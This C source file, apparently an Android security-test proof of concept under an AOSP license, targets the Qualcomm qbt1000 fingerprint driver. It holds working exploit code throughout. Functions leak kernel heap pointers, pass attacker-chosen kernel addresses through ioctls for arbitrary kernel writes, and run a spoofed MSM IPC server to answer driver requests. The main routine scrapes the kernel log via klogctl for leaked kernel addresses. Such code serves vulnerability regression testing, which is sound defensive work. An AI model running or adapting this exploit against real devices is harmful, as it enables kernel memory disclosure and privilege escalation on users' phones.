1 /**
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #define _GNU_SOURCE
18 #include <sys/types.h>
19 #include <sys/wait.h>
20 #include <unistd.h>
21 #include <sys/klog.h>
22
23 #include <errno.h>
24 #include <fcntl.h>
25 #include <pthread.h>
26 #include <stdbool.h>
27 #include <stdio.h>
28 #include <stdlib.h>
29 #include <string.h>
30 #include <sys/ioctl.h>
31 #include <sys/socket.h>
32 #include <sys/stat.h>
33 #include <sys/types.h>
34 #include <sys/types.h> /* See NOTES */
35
36 static const char *dev = "/dev/qbt1000";
37
38 #define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
39 #define QBT1000_SNS_SERVICE_VER_ID 1
40 #define QBT1000_SNS_INSTANCE_INST_ID 0
41
42 #define SNS_QFP_OPEN_RESP_V01 0x0020
43
44 #define QMI_REQUEST_CONTROL_FLAG 0x00
45 #define QMI_RESPONSE_CONTROL_FLAG 0x02
46 #define QMI_INDICATION_CONTROL_FLAG 0x04
47 #define QMI_HEADER_SIZE 7
48
49 #define OPTIONAL_TLV_TYPE_START 0x10
50
51 enum elem_type {
52 QMI_OPT_FLAG = 1,
53 QMI_DATA_LEN,
54 QMI_UNSIGNED_1_BYTE,
55 QMI_UNSIGNED_2_BYTE,
56 QMI_UNSIGNED_4_BYTE,
57 QMI_UNSIGNED_8_BYTE,
58 QMI_SIGNED_2_BYTE_ENUM,
59 QMI_SIGNED_4_BYTE_ENUM,
60 QMI_STRUCT,
61 QMI_STRING,
62 QMI_EOTI,
63 };
64
65 volatile int cont = 1;
66
67 struct qmi_header {
68 unsigned char cntl_flag;
69 uint16_t txn_id;
70 uint16_t msg_id;
71 uint16_t msg_len;
72 } __attribute__((__packed__));
73
74 struct qseecom_handle {
75 void *dev; /* in/out */
76 unsigned char *sbuf; /* in/out */
77 uint32_t sbuf_len; /* in/out */
78 };
79
80 enum qbt1000_commands {
81 QBT1000_LOAD_APP = 100,
82 QBT1000_UNLOAD_APP = 101,
83 QBT1000_SEND_TZCMD = 102
84 };
85
86 struct qbt1000_app {
87 struct qseecom_handle **app_handle;
88 char name[32];
89 uint32_t size;
90 uint8_t high_band_width;
91 };
92
93 struct qbt1000_send_tz_cmd {
94 struct qseecom_handle *app_handle;
95 uint8_t *req_buf;
96 uint32_t req_buf_len;
97 uint8_t *rsp_buf;
98 uint32_t rsp_buf_len;
99 };
100
101 struct msm_ipc_port_addr {
102 uint32_t node_id;
103 uint32_t port_id;
104 };
105
106 struct msm_ipc_port_name {
107 uint32_t service;
108 uint32_t instance;
109 };
110
111 struct msm_ipc_addr {
112 unsigned char addrtype;
113 union {
114 struct msm_ipc_port_addr port_addr;
115 struct msm_ipc_port_name port_name;
116 } addr;
117 };
118
119 /*
120 * Socket API
121 */
122
123 #define AF_MSM_IPC 27
124
125 #define PF_MSM_IPCAF_MSM_IPC
126
127 #define MSM_IPC_ADDR_NAME 1
128 #define MSM_IPC_ADDR_ID 2
129
130 struct sockaddr_msm_ipc {
131 unsigned short family;
132 struct msm_ipc_addr address;
133 unsigned char reserved;
134 };
135
136 struct qbt1000_app app = {0};
137
get_fd(const char * dev_node)138 static int get_fd(const char *dev_node) {
139 int fd;
140 fd = open(dev_node, O_RDWR);
141 if (fd < 0) {
142 cont = 0;
143 exit(EXIT_FAILURE);
144 }
145
146 return fd;
147 }
148
leak_heap_ptr(int fd)149 static void leak_heap_ptr(int fd) {
150 void *addr = NULL;
151 app.app_handle = (void *)&addr;
152 app.size = 32;
153 ioctl(fd, QBT1000_LOAD_APP, &app);
154 }
155
arb_kernel_write_load_app(int fd)156 static void arb_kernel_write_load_app(int fd) {
157 struct qbt1000_app app = {0};
158
159 app.app_handle = (void *)0xABADACCE55013337;
160 ioctl(fd, QBT1000_LOAD_APP, &app);
161 }
162
arb_kernel_write_send_tzcmd(int fd)163 static void arb_kernel_write_send_tzcmd(int fd) {
164 struct qseecom_handle hdl = {0};
165 struct qbt1000_send_tz_cmd cmd = {0};
166 int x = 0;
167
168 hdl.sbuf =
169 (void
170 *)0xffffffc0017b1b84; // malloc(4096);//(void *) 0xABADACCE55000000;
171 cmd.app_handle = &hdl;
172 cmd.req_buf = &x;
173 cmd.rsp_buf = NULL; // malloc(4096);
174 cmd.req_buf_len = cmd.rsp_buf_len = 4;
175
176 ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
177 }
178
recv_msgs(int fd)179 static void recv_msgs(int fd) {
180 struct msghdr msg = {0};
181 struct iovec io = {0};
182 struct sockaddr_msm_ipc addr = {0};
183 struct msm_ipc_addr address = {0};
184 uint8_t *ptr;
185 struct qmi_header *hdr;
186 int count = 1;
187
188 io.iov_base = malloc(4096);
189 memset(io.iov_base, 0, 4096);
190 io.iov_len = 4096;
191
192 msg.msg_iovlen = 1;
193 msg.msg_iov = &io;
194 msg.msg_name = &addr;
195 msg.msg_namelen = sizeof(addr);
196
197 for (int i = 0; i < 1000; i++) {
198 recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
199 memset(io.iov_base, 0, 128);
200 hdr = io.iov_base;
201
202 hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
203 hdr->txn_id = count++;
204 hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
205 hdr->msg_len = 3;
206
207 ptr = io.iov_base + sizeof(*hdr);
208
209 *ptr = OPTIONAL_TLV_TYPE_START;
210 ptr++;
211 *ptr = 0;
212 ptr++;
213 *ptr = 0;
214 sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
215 }
216 }
217
218 #define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
setup_ipc_server(void)219 static void setup_ipc_server(void) {
220 int fd;
221 struct sockaddr_msm_ipc addr = {0};
222 fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
223
224 if (fd < 0) {
225 exit(EXIT_FAILURE);
226 }
227
228 addr.family = AF_MSM_IPC;
229 addr.address.addrtype = MSM_IPC_ADDR_NAME;
230 addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
231 addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
232 QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
233
234 bind(fd, (struct sockaddr *)&addr, sizeof(addr));
235 recv_msgs(fd);
236 return;
237 }
238
leak_ptr(void * ignore)239 static void *leak_ptr(void *ignore) {
240 void *save;
241 for (int i = 0; i < 1000; i++) {
242 if (app.app_handle != NULL) {
243 save = *app.app_handle;
244 if (save != NULL) {
245 break;
246 }
247 }
248 }
249 return 0;
250 }
251
do_ipc_crap(void * ignore)252 static void *do_ipc_crap(void *ignore) { setup_ipc_server(); return 0; }
253
main2()254 int main2() {
255 int i;
256 int fd = open("/dev/qbt1000", O_RDWR);
257 if (fd < 0) {
258 return 1;
259 }
260
261 struct qbt1000_app app;
262
263 unsigned char *line = malloc(4096);
264 memset(line, 0, 4096);
265
266 try_again:
267 system("dmesg -c");
268
269 memset(&app, 0x41, sizeof(app));
270
271 app.app_handle = malloc(64);
272 if (!app.app_handle) {
273 close(fd);
274 return 1;
275 }
276
277 ioctl(fd, QBT1000_LOAD_APP, &app);
278
279 free(app.app_handle);
280 unsigned offset;
281 unsigned bytes_leaked;
282 unsigned char leaked_bytes[256];
283 unsigned idle;
284 pid_t child;
285
286 memset(line, 0, 4096);
287 offset = 0;
288 bytes_leaked = 0;
289 idle = 0;
290 memset(leaked_bytes, 0, sizeof(leaked_bytes));
291 while (!strchr(line, '\n')) {
292 if (klogctl(9, NULL, 0))
293 offset += klogctl(2, &line[offset], 4096);
294 else
295 idle++;
296 if (idle > 1000) return 0;
297 }
298
299 char *inv = strstr(line, "qbt1000_ioctl:");
300 if (!inv) return 0;
301 inv = strstr(inv, "App ");
302 if (!inv) return 0;
303 inv += 4; // go past "App"
304 char *a;
305 a = strchr(inv, 'A');
306 if (!a) return 0;
307
308 // keep going until no more A's
309 while (*a++ == 'A')
310 ;
311
312 int keep_going = 1;
313 while (*a != '\n' && *a != '\0') {
314 leaked_bytes[bytes_leaked++] = *a++;
315 }
316
317 if (bytes_leaked < 7) {
318 goto fork_it;
319 }
320
321 #define KERN_ADDR 0xffffffc000000000
322 // let's do some post-processing to see if we got some pointers
323 for (i = 0; i < bytes_leaked - (sizeof(size_t) - 1); i++) {
324 size_t *c = (size_t *)(&leaked_bytes[i]);
325 if ((*c & KERN_ADDR) == KERN_ADDR) {
326 printf("KERNEL ADDRESS LEAKED = 0x%016lx\n", *c);
327 keep_going = 0;
328 }
329 }
330
331 bytes_leaked = 0;
332 memset(leaked_bytes, 0, sizeof(leaked_bytes));
333
334 if (keep_going) {
335 fork_it:
336 usleep(10000);
337 child = fork();
338 if (child == 0) {
339 return 0;
340 } else {
341 while (child = waitpid(-1, NULL, 0)) {
342 if (errno == ECHILD) break;
343 }
344 }
345 }
346
347 close(fd);
348 free(line);
349 return 0;
350 }
351
main(void)352 int main(void) {
353 pthread_t ipc;
354 pthread_create(&ipc, NULL, do_ipc_crap, NULL);
355
356 usleep(50000);
357
358 main2();
359 }
360